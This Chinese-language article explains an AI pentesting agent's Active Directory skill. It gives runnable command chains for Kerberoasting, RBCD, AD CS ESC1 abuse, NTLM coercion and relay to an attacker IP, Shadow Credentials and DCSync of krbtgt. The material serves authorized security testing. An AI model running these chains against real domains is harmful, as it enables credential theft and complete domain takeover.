首页
/ Strix Active Directory 测试技能深度解析:Kerberos、AD CS 与委派滥用的实战方法论

Strix Active Directory 测试技能深度解析:Kerberos、AD CS 与委派滥用的实战方法论

2026-09-07 09:01:35作者:农烁颖Land

本文围绕开源 AI 渗透测试工具 Strix 内置的 active_directory 技能文档(路径:strix/skills/technologies/active_directory.md)展开。该技能定义了 Strix Agent 在针对 Active Directory / Kerberos 域环境进行安全测试时的完整打法,覆盖 Roasting、委派滥用、AD CS(ESC1–ESC17)、NTLM Coercion + Relay、DACL 滥用与凭据转储等核心路径。读完本文,你将掌握以"低权限域用户 → Domain Admin"为叙事主线的域测试侦察方法论、可复制的命令链,以及 Strix 沙箱内安装与编排这些身份层测试工具的具体方式。

在 Strix 的技能体系里,active_directory 属于 technologies 分类——面向"第三方技术栈"(Supabase、Firebase、Auth0、Electron 等)的专项技能之一。它的核心立场是:Active Directory 沦陷通常源自配置错误而非内存破坏漏洞——一个可被 Roasting 的服务账户、一个委派标志位、一个配置不当的证书模板、或一个过度授权的 ACL,就能让单个低权限域用户变成 Domain Admin。几乎所有攻击路径都始于有效域凭据(或一个能强制出认证的立足点),几乎都终结于 DCSync 或伪造票据。


技能定位与加载方式

在 Strix 中,技能是带 YAML frontmatter 的知识包,frontmatter 的 description 决定了 Agent 何时选中它:

---
name: active_directory
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
---

从源码结构看,技能的实际生效机制如下(对应 strix/skills/init.py):

  • 目录约定:技能文件位于 strix/skills/<category>/<name>.md,Agent 创建时最多挂载 5 个相关技能;
  • frontmatter 解析load_skills() 会剥离 YAML frontmatter,仅把 Markdown 正文注入上下文;
  • 动态参考load_skill 工具 允许 Agent 在任务中途按需拉取技能正文作为工具结果,无需重启子 Agent。

即:本文所讲解的一切命令与方法,会被 Strix 直接作为"参考材料"投喂给负责该项测试的子 Agent,因此其内容必须做到可直接照做、逐条可执行。


攻击面:从端口到对象再到信任边界

每个域控的核心服务

服务 端口 说明
Kerberos 88/tcp+udp 认证核心协议
LDAP / LDAPS 389 / 636 目录查询
Global Catalog 3268 / 3269 全林目录查询
SMB 445 文件共享与 RPC 载体
RPC / DCE endpoint mapper 135 + 高位动态端口 各种 DCOM/MSRPC 接口
NetBIOS 137–139 遗留名称服务
DNS 53 AD 集成 DNS,常允许动态更新(ADIDNS)
WinRM / RDP / MSSQL 5985(5986) / 3389 / 1433 成员服务器上的横向入口
AD CS 80/443 的 /certsrv/ADPolicyProvider_CEP_*、ES/CES 证书服务(最现代化的提权面)

主体与对象(Principals & Objects)

  • 用户、计算机($ 账户)、gMSA/sMSA、组、GPO、OU、信任关系(trusts);
  • 关键属性位:servicePrincipalNameuserAccountControl 标志、msDS-AllowedToDelegateTo(约束委派)、msDS-AllowedToActOnBehalfOfOtherIdentity(RBCD)、msDS-KeyCredentialLink(Shadow Credentials);
  • 对象 DACL:GenericAll / GenericWrite / WriteDacl / WriteOwner / AddSelf。

信任边界

  • 林内(父子域)、林间、外部信任、SID History;
  • MachineAccountQuota(默认 10 → 任何用户都能创建计算机账户,这是 RBCD、noPac 等链路的先决条件)。

侦察:两条分支,一个原则

无凭据 / 预认证侦察

# 通过 LDAP rootDSE 获取域名与命名上下文
nmap -Pn -p 389 --script ldap-rootdse <DC>
# SMB 空会话 / 签名 / OS 信息
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
enum4linux-ng -A <DC>
# 通过 Kerberos 预认证做"无用户名枚举"(不需要密码)
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt

已认证枚举(任意有效用户即可)

nxc ldap <DC> -u <USER> -p <PASS>                       # 确认凭据有效 + 域信息
nxc smb <SUBNET> -u <USER> -p <PASS> --shares           # 可读/可写共享
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>

BloodHound 图谱:最有价值的单一步骤

bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
# 或使用远程 SharpHound 等价采集器:
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>

将结果导入 BloodHound(CE)后,先于任何手工操作运行内置的 "Shortest paths to Domain Admins" / "Owned principals" 查询。技能文档明确强调:域沦陷是一个图问题(graph problem),BloodHound 是把枚举结果转化为攻击路径的枢纽。


关键漏洞与利用链

Kerberos Roasting(烤票据)

Kerberoasting——任何已认证用户都能为"带 SPN 的账户"请求服务票据(RC4/$krb5tgs$23$)并离线爆破。攻击目标是人设的服务账户密码;机器账户密码为 120 位随机字符,通常不可破解。

nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
# 或使用 impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt

AS-REP Roasting——设置了 DONT_REQ_PREAUTH 的账户,在已知用户名、无需任何凭据的情况下即可获得可爆破的 $krb5asrep$23$ 数据块:

GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
hashcat -m 18200 asrep.txt wordlist.txt

定向 Kerberoasting——当你对某个用户拥有 GenericAll/GenericWrite 权限时:添加 SPN → Roast → 移除 SPN,全程不留长期痕迹。

委派滥用(三种委派模式)

委派类型 关键标志/属性 利用思路
非约束委派 TRUSTED_FOR_DELEGATION 攻陷主机后,用 PrinterBug/PetitPotam 强制 DC/DA 向自己认证,从 LSA 中捕获其 TGT 直接复用 → DCSync
约束委派 msDS-AllowedToDelegateTo S4U2Self + S4U2Proxy 向指定 SPN 模拟任意用户;可替换 SPN 服务类(cifs/host/ldap)扩大访问面
基于资源的约束委派(RBCD) msDS-AllowedToActOnBehalfOfOtherIdentity 对计算机对象有写权限 + MachineAccountQuota>0 时,创建伪计算机、写入 RBCD、用 S4U 获取该主机管理员票据

RBCD 完整链路:

addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss

AD 证书服务(ESC1–ESC17)

技能文档将 AD CS 称为收益最高的现代路径:一个配置错误的模板就能把低权限用户提升为 DA,且在密码重置后依然存活。先枚举、后利用:

certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
  • ESC1——模板允许申请者提供 SAN 且 EKU 为客户端认证 → 直接申请 administrator 的证书:

    certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
    certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # → NT hash / TGT
    
  • ESC8——NTLM Relay 到 CA 的 Web 注册端点(强制 DC 认证,Relay 到 /certsrv)→ 拿到 DC 证书 → DCSync。

  • 其余 ESC——ESC2/3(任意用途/注册代理)、ESC4(模板 DACL 可写 → 改造成 ESC1)、ESC6(CA 上开启 EDITF_ATTRIBUTESUBJECTALTNAME2)、ESC7(CA Officer 权限)、ESC9/10(弱证书映射)、ESC11(RPC Relay)、ESC13(颁发策略→组映射)、ESC15(v1 模板上的应用策略)。certipy find -vulnerable 会逐一标记。

NTLM 强制认证与 Relay(Coercion & Relay)

思路:强制特权机器向你认证,再把这份 NTLM 认证 Relay 给不强制签名/EPA 的服务(LDAP、AD CS、SMB)。

# 1. 启动 Relay(LDAP → RBCD,或 AD CS → 证书)
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 2. 强制目标来认证
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC>          # MS-EFSR
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP>   # MS-RPRN

在广播网段使用 Responder 做 LLMNR/NBT-NS/mDNS 投毒,可捕获 NetNTLMv2 哈希用于离线破解或 Relay。

DACL / 对象滥用

对照 BloodHound 边关系展开:

  • GenericAll/GenericWrite 用户 → 定向 Kerberoast 或 Shadow Credentials(经 Certipy/pywhisker 写 msDS-KeyCredentialLink → PKINIT → NT hash);
  • WriteDacl/WriteOwner → 先授予自己 GenericAll,再在域对象上授予 DCSync 权限;
  • ForceChangePassword → 直接重置目标密码;
  • AddMember(特权组)→ 自加入;
  • GPO 编辑权 → 向关联 OU 推送即时计划任务 / 本地管理员。
# Shadow Credentials(无需重置密码,更隐蔽)
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
# bloodyAD 用于通用 DACL 编辑
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>

凭据访问与域统治(Credential Access & Domain Dominance)

  • DCSync(需复制权限 DS-Replication-Get-Changes*)可导出包括 krbtgt 在内的任意哈希:

    secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
    nxc smb <DC> -u <USER> -p <PASS> --ntds        # 完整 NTDS.dit
    
  • Golden ticketkrbtgt 哈希)/ Silver ticket(服务账户哈希)/ Diamond ticket——伪造 TGT/ST 实现持久化;

  • Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket——无需明文即可重用 NT 哈希或 Kerberos 票据;

  • LAPS / gMSA——可读的 ms-Mcs-AdmPwdmsDS-ManagedPassword 直接授予本地管理员 / 服务凭据。

已知无认证 CVE(依赖补丁状态)

  • ZeroLogon(CVE-2020-1472)——把 DC 机器账户哈希清零,未打补丁 DC 秒变 DA;
  • noPac(CVE-2021-42278/42287)——sAMAccountName 伪造 → 冒充 DC;
  • PrintNightmare(CVE-2021-1675/34527)、PetitPotam(KB5005413 之前的无认证 MS-EFSR)。

技能文档特别警示:开火前必须先做版本/补丁确认——这些是破坏性利用。


进阶技巧

  • UnPAC-the-hash——从 PKINIT/证书认证中恢复用户 NT 哈希(Certipy auth 会直接打印);
  • sAMAccountName 伪造链(noPac)——当 MachineAccountQuota>0 且 DC 未打补丁时可用;
  • 跨信任 SID History 注入——用于跨域/跨林提权;
  • ADIDNS 投毒——通过已认证 LDAP 添加通配符/记录,劫持名称解析;
  • Timeroast——若 DC 暴露 MS-SNTP,可通过 NTP 爆破计算机账户口令。

测试方法论:八步执行框架

  1. 立足点核查——确认凭据可用(nxc ldap/smb),记录权限、MachineAccountQuota 与密码策略;
  2. BloodHound 先行——先采集 + 作图再做手工;把立足点主体标记为 owned,阅读通向 DA 的路径;
  3. 低噪音凭据收割——AS-REP Roast(无需认证)、Kerberoast、可读 LAPS/gMSA、SYSVOL 中的 GPP 密码;
  4. AD CS 全面扫——certipy find -vulnerable;它常常是最短路径,且与 BloodHound 图谱相互独立;
  5. DACL 边遍历——逐条走 owned → 高价值目标的 BloodHound 边;优先 Shadow Credentials(可回滚、更安静)而非密码重置;
  6. 委派利用——枚举非约束/约束/RBCD;在需要特权认证处与 Coercion 链式组合;
  7. Coercion + Relay——仅当目标未启用签名/EPA 时使用;先确认 Relay 目标(LDAP/AD CS);
  8. 证明域统治——DCSync krbtgt 或某个目标用户后停止。除非在授权范围内,否则不要对客户环境做持久化(Golden ticket)。

验证与误报排除

验证五条铁律

  1. 展示确切误配置(SPN、userAccountControl 标志、模板标志、ACE、缺失补丁)对应的枚举工具原始输出;
  2. 证明获得的权限提升——破解出的服务账户口令、能以特权用户身份认证的已签发证书、或 DCSync 得到的 NT 哈希;
  3. 给出完整链路:owned 主体 → 边/误配置 → 提权步骤 → 最终访问权,每跳都附命令与证据;
  4. 把影响落到具体身份上(如"用户 svc-sql → Domain Admins"),而非笼统地说"AD 配置有问题";
  5. 对 Coercion/Relay,同时捕获被强制的认证与 Relay 动作成功两个证据。

误报清单(False Positives)

  • 机器账户上的可 Kerberoast SPN——120 位随机口令实际不可破解,单独不算发现
  • certipy find 把模板标为 ESC 漏洞,但你的主体不在注册权内(检查 Enrollment Rights / Requires Manager Approval 字段);
  • 存在委派标志但账户被禁用,或目标 SPN 不可达;
  • Relay 目标强制 SMB/LDAP 签名或通道绑定(EPA)——Relay 必然失败,不可利用;
  • DC 已完全打补丁——ZeroLogon/noPac/PetitPotam 检查报告 "not vulnerable";
  • "可写"共享实际只暴露了重定向/隔离路径,无有用内容。

影响评估

  • 完整域(通常是整个林)沦陷:读写所有对象、所有凭据、所有数据;
  • 通过 Golden ticket、伪造证书或 SID History 获得可存活于补丁周期的持久访问
  • 横向移动至所有加入域的机器(文件服务器、数据库、虚拟化平台);
  • 勒索软件爆炸半径——DA 是全网域部署的标准跳板。

Pro Tips:实战前必读

  1. BloodHound 先于爆破——图谱把数小时的猜测变成一条具名路径;始终标记 owned 节点;
  2. 尽早做 AS-REP Roast 与 certipy find——两者都很安静,且前者无需凭据;
  3. 有写权限时 Shadow Credentials 优于密码重置——可回滚、不会锁定账户、无需明文;
  4. 动手前校准时钟sudo ntpdate <DC>(或 faketime)——KRB_AP_ERR_SKEW 会杀死一切票据操作;
  5. 使用 FQDN,把 /etc/resolv.conf 指向 DC(或 --dns-server)——裸 IP 会破坏 Kerberos 与 LDAP referral;
  6. nxc(NetExec)是 CrackMapExec 的继任者——CME 已停止维护;使用 nxc 及其 --gen-relay-list--bloodhound-M 模块;
  7. nmap 等工具技能authentication_jwt 技能配合——当域前端是 Web SSO(ADFS/SAML)时切换打法。

工具链:在 Strix 沙箱中的部署要点

这是该技能最具落地价值的部分,也直接影响 Agent 在真实扫描中的成功率:

沙箱默认不含任何 AD 工具(镜像为 Kali-rolling,但只预装 Web 向工具链——对应 Strix 沙箱工具文档 中列出的 Subfinder、naabu、httpx、Nuclei、SQLMap、ZAP、Caido 等)。因此需要按需安装,沙箱内具备 pipxpipgogit 及 Kali 的 apt 源。此外,AD 测试要求到目标 DC/子网的网络可达性,而默认面向 Web 目标的沙箱通常不具备——动手前先确认连通性

# Python 身份层工具集(impacket 含 GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
pipx install impacket
pipx install netexec            # nxc — CME 继任者:ldap/smb/winrm 枚举、roasting、bloodhound、ntds
pipx install certipy-ad         # AD CS 枚举 + ESC1-ESC17 利用、shadow credentials
pipx install bloodhound-ce      # bloodhound-ce-python 采集器(BloodHound CE ingestor)
pipx install coercer            # 多协议强制认证(MS-EFSR/RPRN/DFSNM/FSRVP)
pipx install bloodyAD           # 基于 LDAP 的 DACL / 对象编辑
pipx install ldapdomaindump     # LDAP 转储(bloodhound.py 作者出品)
go install github.com/ropnop/kerbrute@latest   # kerbrute (Go) — 用户枚举 / 预认证爆破

# Kali apt 包
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john

各工具在链路中的角色:

  • NetExec (nxc)——跨 smb/ldap/winrm/mssql 的瑞士军刀式枚举/执行工具;用于凭据验证、共享狩猎、--kerberoasting--bloodhound--ntds
  • impacket——规范的可脚本化攻击原语集(roasting、S4U、relay、secretsdump、票据伪造);
  • Certipy——AD CS 全链路:find -vulnerablereqauthshadow、relay;覆盖 ESC1–ESC17 全集;
  • BloodHound CE + 采集器——攻击路径绘图;持有任一有效凭据时首先运行
  • Responder / ntlmrelayx / Coercer / PetitPotam——投毒→强制认证→Relay 链路(需要 L2 访问或可强制目标);
  • hashcat / john——离线爆破 Roast 出的 $krb5tgs$/$krb5asrep$ 数据块(模式 13100 / 18200)。

真实人类测试者常用 GUI BloodHound 与 Windows 侧 C# 工具(SharpHound、Rubeus、Certify、PowerView);在沙箱内请优先使用上文对应的 Python/Linux 等价物(bloodhound-ce-python、impacket、Certipy、nxc)——这正是 Strix Agent 在无 GUI 容器环境中能够落地的关键前提。


小结

在 Strix 的视角里,AD 沦陷是一个图问题:从一个有效凭据出发,用 BloodHound 映射路径,再把各类误配置——可 Roast 账户、委派标志、可被攻击的证书模板、Coercion+Relay 以及过度授权的 DACL——链接起来,直到触达 DCSync 或伪造票据。域之所以沦陷,几乎总在身份平面(Kerberos/LDAP/NTLM/SMB/AD CS),而不是网络外围。对使用 Strix 的测试者而言,理解本文即理解 active_directory 技能被注入 Agent 上下文后应当遵循的全部纪律:先侦察、后爆破;先图谱、后手工;每一条利用都伴随验证证据,每一次"证明到 DA"都在 DCSync 处停下

如需在自有技能目录中扩展或覆盖该技能,可参考 register_skill_dir 机制(外部目录同名技能会遮蔽内置技能),技能整体架构见 Strix Skills 说明Skills 使用文档

登录后查看全文
热门项目推荐
相关项目推荐